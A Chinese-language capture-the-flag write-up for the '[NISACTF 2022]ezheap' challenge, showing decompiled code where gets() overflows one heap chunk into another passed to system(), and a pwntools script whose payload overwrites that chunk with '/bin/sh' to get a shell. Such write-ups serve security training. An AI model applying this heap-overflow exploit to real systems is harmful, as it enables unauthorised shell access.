NSSCTF [NISACTF 2022]ezheap
2058.[NISACTF 2022]ezheap(堆溢出)
[NISACTF 2022]ezheap
1.准备
2.ida分析
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{char *command; // [esp+8h] [ebp-10h]char *s; // [esp+Ch] [ebp-Ch]setbuf(stdin, 0);setbuf(stdout, 0);s = (char *)malloc(0x16u);command = (char *)malloc(0x16u);puts("Input:");gets(s);system(command);return 0;
}
这里先创建两个堆块s和command
然后在s有一个输入点,gets函数,存在堆溢出
并在下面有system函数,内容为command块的内容
3.EXP
思路:
这题有堆溢出和system函数,程序最后会运行system函数,内容为command块的内容
所以我们可以通过堆溢出,从s堆块溢出到command块,写入'/bin/sh',触发连接
通过gdb调试,得到偏移量
在main函数下断点,运行程序
一直运行到两个call malloc@plt后,查看堆情况
看到这里先要填充28个字节,在给command块一个size值后,就可以在command块填入'/bin/sh'当作它的内容
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
脚本
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21394)
io= process('/home/motaly/pwn')
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
io.sendline(paylaod)
io.interactive()